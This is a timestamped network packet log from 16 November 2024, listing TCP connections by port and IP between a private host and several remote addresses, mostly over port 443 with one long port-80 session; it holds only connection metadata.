Nov 16, 2024 19:22:26.591026068 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.591032982 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.591196060 CET	49790	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.591201067 CET	443	49790	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:26.591480017 CET	49789	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:26.591499090 CET	443	49789	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.069576025 CET	49799	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.069610119 CET	443	49799	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.069859028 CET	49799	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.069869995 CET	49800	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.069962978 CET	443	49800	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.070076942 CET	49800	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.070323944 CET	49799	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.070341110 CET	443	49799	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.070596933 CET	49800	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.070631981 CET	443	49800	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.110991955 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.111025095 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.111315012 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.111594915 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.111648083 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.111845016 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.111888885 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.111900091 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.112260103 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.112291098 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.198463917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.582241058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.639029980 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.639094114 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.639451027 CET	443	49786	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.641113997 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.643697023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.648946047 CET	49786	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.649002075 CET	443	49786	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.653844118 CET	49786	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.653857946 CET	443	49786	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.653925896 CET	49786	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.653942108 CET	443	49786	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.656311989 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.656327963 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.656675100 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.657784939 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.657816887 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:27.657871008 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:27.725370884 CET	49804	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.725425005 CET	443	49804	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.725519896 CET	49803	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.725545883 CET	443	49803	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.725557089 CET	49804	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.725605965 CET	49803	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.725749016 CET	49804	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.725771904 CET	443	49804	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.725898027 CET	49803	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:27.725907087 CET	443	49803	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:27.772105932 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.772484064 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.772500038 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.773022890 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.773027897 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.774856091 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.775219917 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.775257111 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.775537968 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.775913954 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.776184082 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.776958942 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.777038097 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.778482914 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.778578043 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.779087067 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.780453920 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.780463934 CET	443	49798	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.781611919 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.781625032 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.782022953 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.782028913 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.782722950 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.782746077 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.783183098 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.783188105 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.783440113 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.783471107 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.783876896 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.783889055 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.784389973 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.784403086 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.785000086 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.785005093 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.801785946 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.801852942 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.802103043 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.802377939 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.802412987 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.894737005 CET	49798	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.899462938 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.899544001 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.899646044 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.899765968 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.899777889 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.899806976 CET	49793	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.899813890 CET	443	49793	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.902745008 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.902785063 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.903004885 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.903136015 CET	49809	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.903148890 CET	443	49809	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.907912016 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.908219099 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.908289909 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.908929110 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.908963919 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.908982038 CET	49794	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.908998966 CET	443	49794	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910059929 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910221100 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910279989 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.910531044 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.910553932 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910586119 CET	49792	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.910598993 CET	443	49792	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910614014 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910690069 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.910748005 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.911524057 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.911544085 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.911572933 CET	49791	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.911587000 CET	443	49791	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.913536072 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.913600922 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.913717985 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914216042 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914231062 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.914490938 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914520979 CET	49810	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914552927 CET	443	49810	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.914630890 CET	49811	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914644957 CET	443	49811	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.914654970 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914678097 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.914808035 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914872885 CET	49812	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.914881945 CET	443	49812	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.919039965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919096947 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919125080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919137955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919159889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919174910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919178009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919189930 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919194937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919229984 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919248104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919262886 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919281006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919302940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919302940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919322014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919352055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919368029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919394970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.919403076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.919425964 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:27.921057940 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.921214104 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.921277046 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.921416998 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.921423912 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.921490908 CET	49795	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.921497107 CET	443	49795	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.923335075 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.923358917 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.923425913 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.923578978 CET	49813	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:27.923589945 CET	443	49813	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:27.923971891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:27.924202919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.009284019 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:28.074141979 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074176073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074210882 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074222088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.074222088 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.074263096 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074295044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074305058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.074328899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074342012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.074363947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074369907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.074404001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.074604988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.074650049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075028896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075082064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075086117 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075114965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075158119 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075213909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075248003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075282097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075288057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075328112 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075870991 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075902939 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075930119 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075937986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.075958014 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.075977087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.076000929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076277018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.076324940 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076366901 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.076416016 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076450109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076493979 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.076571941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076605082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076620102 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.076636076 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.076647043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.077151060 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.105520964 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:28.105531931 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:28.106137991 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:28.106158018 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:28.106375933 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:28.106417894 CET	443	49785	40.126.31.69	192.168.2.5
Nov 16, 2024 19:22:28.106520891 CET	49785	443	192.168.2.5	40.126.31.69
Nov 16, 2024 19:22:28.230173111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230220079 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230257034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230292082 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230292082 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230318069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230325937 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230340958 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230359077 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230393887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230412960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230433941 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230484009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230518103 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230551958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230561972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230585098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230628967 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.230803967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.230856895 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231036901 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231070995 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231091976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231105089 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231108904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231137037 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231159925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231172085 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231173038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231252909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231503010 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231561899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231631041 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231728077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231812000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231846094 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231859922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231879950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.231894016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.231923103 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232156038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232187986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232218027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232220888 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232266903 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232312918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232346058 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232364893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232379913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232388973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232412100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232445002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232450962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232470036 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232477903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232480049 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232511044 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232542992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232547998 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232577085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232609034 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232636929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232642889 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232645035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232687950 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232846975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232902050 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232934952 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.232949972 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.232974052 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.233014107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.233047009 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.233069897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.233079910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.233089924 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.233149052 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.233189106 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.235656023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.235692024 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.235717058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.235735893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.235735893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:28.235784054 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:28.242113113 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.242376089 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.242383003 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.243041992 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.243341923 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.243355036 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.243367910 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.243504047 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.243818045 CET	49801	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.243874073 CET	443	49801	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.244786978 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.244848013 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.245121956 CET	49802	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.245201111 CET	443	49802	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.250870943 CET	443	49799	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.251106024 CET	49799	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.251122952 CET	443	49799	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.251494884 CET	443	49799	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.252012968 CET	49799	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.252078056 CET	443	49799	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.252639055 CET	443	49800	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.252825022 CET	49800	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.252832890 CET	443	49800	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.253938913 CET	443	49800	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.254420996 CET	49800	443	192.168.2.5	162.159.61.3
Nov 16, 2024 19:22:28.254596949 CET	443	49800	162.159.61.3	192.168.2.5
Nov 16, 2024 19:22:28.338902950 CET	443	49803	162.159.61.3	192.168.2.5
